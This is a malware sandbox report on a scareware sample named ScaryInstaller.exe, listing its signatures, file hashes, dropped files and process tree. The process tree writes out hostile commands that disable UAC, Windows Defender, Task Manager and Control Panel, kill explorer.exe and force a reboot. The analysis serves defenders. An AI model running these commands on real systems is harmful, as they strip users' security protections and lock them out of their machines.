Analysis

  • max time kernel
    32s
  • max time network
    34s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27-04-2024 09:41

Errors

Reason
Machine shutdown

General

  • Target

    ScaryInstaller.exe

  • Size

    21.5MB

  • MD5

    ac9526ec75362b14410cf9a29806eff4

  • SHA1

    ef7c1b7181a9dc4e0a1c6b3804923b58500c263d

  • SHA256

    5ae89b053a9c8e4ad9664b6d893998f281f2864c0f625a536400624d4fbd0164

  • SHA512

    29514a83a5bb78439ee8fb9d64b9e0885f4444fb7f02cefdee939984bb80f58493b406787c53f9a4bf521b2c03af4c3e3da4d5033eee8095b2ab0e753534e621

  • SSDEEP

    393216:8c68zOv/h4ZPW+Fsx5QiaamSf8iqTCqcvgQYp6veX0N/9FRI9qo6xE:8j1hY++ViaamEhF5vvY2/VI9qK

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Disables Task Manager via registry modification
  • Executes dropped EXE 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScaryInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\ScaryInstaller.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\68EB.tmp\creep.cmd" "
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3560
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im explorer.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1652
      • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\CreepScreen.exe
        CreepScreen.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:4416
      • C:\Windows\SysWOW64\timeout.exe
        timeout 5 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:1180
      • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\melter.exe
        melter.exe
        3⤵
        • Executes dropped EXE
        PID:2460
      • C:\Windows\SysWOW64\timeout.exe
        timeout 10 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:5060
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im CreepScreen.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1952
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im melter.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1276
      • C:\Program Files\VideoLAN\VLC\vlc.exe
        "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\68EB.tmp\scarr.mp4"
        3⤵
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:1880
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:3792
      • C:\Windows\SysWOW64\rundll32.exe
        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
        3⤵
          PID:4624
        • C:\Windows\SysWOW64\reg.exe
          reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
          3⤵
          • Modifies registry key
          PID:1792
        • C:\Windows\SysWOW64\reg.exe
          reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • UAC bypass
          • Modifies registry key
          PID:224
        • C:\Windows\SysWOW64\reg.exe
          Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          3⤵
            PID:1136
          • C:\Windows\SysWOW64\reg.exe
            REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
            3⤵
            • Modifies registry key
            PID:5000
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
            3⤵
              PID:4900
            • C:\Windows\SysWOW64\net.exe
              net user Admin /fullname:"IT'S TOO LATE!!!"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4812
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 user Admin /fullname:"IT'S TOO LATE!!!"
                4⤵
                  PID:4084
              • C:\Windows\SysWOW64\timeout.exe
                timeout 8 /nobreak
                3⤵
                • Delays execution with timeout.exe
                PID:1204
              • C:\Windows\SysWOW64\shutdown.exe
                shutdown /r /t 5 /c "I CATCH YOU AND EAT YOUR FACE!!!"
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:252
          • C:\Windows\system32\AUDIODG.EXE
            C:\Windows\system32\AUDIODG.EXE 0x00000000000004CC 0x00000000000004C0
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1052
          • C:\Windows\System32\PickerHost.exe
            C:\Windows\System32\PickerHost.exe -Embedding
            1⤵
            • Suspicious use of SetWindowsHookEx
            PID:3164
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa3a29055 /state1:0x41c64e6d
            1⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:4664

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\CreepScreen.exe

            Filesize

            128KB

            MD5

            4ab112b494b6c6762afb1be97cdc19f5

            SHA1

            eed9d960f86fb10da90d0bbca801aea021658f02

            SHA256

            ec778e79c7a3c88eed2a6931a9f188d209791f363fbe7eadf0842efdbfafee3e

            SHA512

            4f7a92834c576fdb55c3a5dc4990c4aa719083ce64ebbb70139d03ba485e7ae0d249afdc6c9810ddae3d106a0bdfc35b8fddb4fb40ad692f21c5c8ce3bbb1b49

          • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\bg.bmp

            Filesize

            5.9MB

            MD5

            463e7914d89b7dd1bfbba5b89c57eace

            SHA1

            7f697f8880bcf0beed430d80487dd58b975073fa

            SHA256

            fd62ecf096773673d834f1ec598e0a3898a69c14bf159ba4e23b1caf5666923d

            SHA512

            a112d4b0fafaa273fcfa012cecb1aca93f6a352241064137ef8bfb0437f88683cec37f97cedce9cfc944228399e9e481e7be6a6f65b50d523014200974c87562

          • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\creep.cmd

            Filesize

            1KB

            MD5

            e77d2ff29ca99c3902d43b447c4039e2

            SHA1

            2805268a8db128a7278239d82402c9db0a06e481

            SHA256

            1afa31c6764bdb1d9d7e6c61bf7a6f2607fbc5061e7a0e5a56004694a2fd6f4c

            SHA512

            580e3550c6751c58db5874eacde15aa80743625bf920d1191589c2aa7211896b378956dbe7070dcfe2f78a8028d92a8e6dceda8a8d2415b2600fc69f52833f2c

          • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\melter.exe

            Filesize

            2KB

            MD5

            33b75bd8dbb430e95c70d0265eeb911f

            SHA1

            5e92b23a16bef33a1a0bf6c1a7ee332d04ceab83

            SHA256

            2f69f7eeab4c8c2574ef38ed1bdea531b6c549ef702f8de0d25c42dcc4a2ca12

            SHA512

            943d389bea8262c5c96f4ee6f228794333220ea8970bcc68ab99795d4efd24ebf24b2b9715557dfa2e46cfc3e7ab5adff51db8d41ef9eb10d04370ce428eb936

          • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\mover.exe

            Filesize

            548KB

            MD5

            c1978e4080d1ec7e2edf49d6c9710045

            SHA1

            b6a87a32d80f6edf889e99fb47518e69435321ed

            SHA256

            c9e2a7905501745c304ffc5a70b290db40088d9dc10c47a98a953267468284a8

            SHA512

            2de11fdf749dc7f4073062cdd4881cf51b78e56cb27351f463a45c934388da2cda24bf6b71670b432c9fc039e24de9edd0e2d5382b67b2681e097636ba17626e

          • C:\Users\Admin\AppData\Local\Temp\68EB.tmp\scarr.mp4

            Filesize

            19.0MB

            MD5

            a504846de42aa7e7b75541fa38987229

            SHA1

            4c8ba5768db2412d57071071f8573b83ecab0e2d

            SHA256

            a20d339977ab7af573867a254ca2aaee4bcb296fa57cd1d3f1e7ed1c5855dc89

            SHA512

            28b9f6a0783b82c4a28c52bc849a3886df7dac95be488253fc1ca5839600ac7ce79ef97f7da0a18d7474fe02748e7078bf4b823ced10c4dc0f8352fc7b1d7dea

          • memory/1880-43-0x00007FFC3C820000-0x00007FFC3CAD6000-memory.dmp

            Filesize

            2.7MB

          • memory/1880-65-0x00007FFC3CFD0000-0x00007FFC3CFE1000-memory.dmp

            Filesize

            68KB

          • memory/1880-78-0x00007FFC2A630000-0x00007FFC2B6E0000-memory.dmp

            Filesize

            16.7MB

          • memory/1880-41-0x00007FF7A5C30000-0x00007FF7A5D28000-memory.dmp

            Filesize

            992KB

          • memory/1880-42-0x00007FFC42870000-0x00007FFC428A4000-memory.dmp

            Filesize

            208KB

          • memory/1880-44-0x00007FFC469B0000-0x00007FFC469C8000-memory.dmp

            Filesize

            96KB

          • memory/1880-50-0x00007FFC3D5E0000-0x00007FFC3D5F1000-memory.dmp

            Filesize

            68KB

          • memory/1880-49-0x00007FFC3D600000-0x00007FFC3D61D000-memory.dmp

            Filesize

            116KB

          • memory/1880-48-0x00007FFC3D620000-0x00007FFC3D631000-memory.dmp

            Filesize

            68KB

          • memory/1880-47-0x00007FFC3D640000-0x00007FFC3D657000-memory.dmp

            Filesize

            92KB

          • memory/1880-46-0x00007FFC401D0000-0x00007FFC401E1000-memory.dmp

            Filesize

            68KB

          • memory/1880-45-0x00007FFC427A0000-0x00007FFC427B7000-memory.dmp

            Filesize

            92KB

          • memory/1880-52-0x00007FFC2A630000-0x00007FFC2B6E0000-memory.dmp

            Filesize

            16.7MB

          • memory/1880-51-0x00007FFC345D0000-0x00007FFC347DB000-memory.dmp

            Filesize

            2.0MB

          • memory/1880-61-0x00007FFC3D020000-0x00007FFC3D038000-memory.dmp

            Filesize

            96KB

          • memory/1880-53-0x00007FFC3D0A0000-0x00007FFC3D0E1000-memory.dmp

            Filesize

            260KB

          • memory/1880-66-0x00007FFC3C4E0000-0x00007FFC3C537000-memory.dmp

            Filesize

            348KB

          • memory/1880-64-0x00007FFC3C650000-0x00007FFC3C6CC000-memory.dmp

            Filesize

            496KB

          • memory/1880-63-0x00007FFC3C7B0000-0x00007FFC3C817000-memory.dmp

            Filesize

            412KB

          • memory/1880-62-0x00007FFC3CFF0000-0x00007FFC3D020000-memory.dmp

            Filesize

            192KB

          • memory/1880-60-0x00007FFC3D040000-0x00007FFC3D051000-memory.dmp

            Filesize

            68KB

          • memory/1880-59-0x00007FFC3D060000-0x00007FFC3D07B000-memory.dmp

            Filesize

            108KB

          • memory/1880-58-0x00007FFC3D080000-0x00007FFC3D091000-memory.dmp

            Filesize

            68KB

          • memory/1880-57-0x00007FFC3D140000-0x00007FFC3D151000-memory.dmp

            Filesize

            68KB

          • memory/1880-56-0x00007FFC3D3B0000-0x00007FFC3D3C1000-memory.dmp

            Filesize

            68KB

          • memory/1880-55-0x00007FFC3D5C0000-0x00007FFC3D5D8000-memory.dmp

            Filesize

            96KB

          • memory/1880-54-0x00007FFC3D4F0000-0x00007FFC3D511000-memory.dmp

            Filesize

            132KB

          • memory/3456-23-0x0000000000400000-0x0000000001DFD000-memory.dmp

            Filesize

            26.0MB

          • memory/3456-0-0x0000000000400000-0x0000000001DFD000-memory.dmp

            Filesize

            26.0MB

          • memory/3456-40-0x0000000000400000-0x0000000001DFD000-memory.dmp

            Filesize

            26.0MB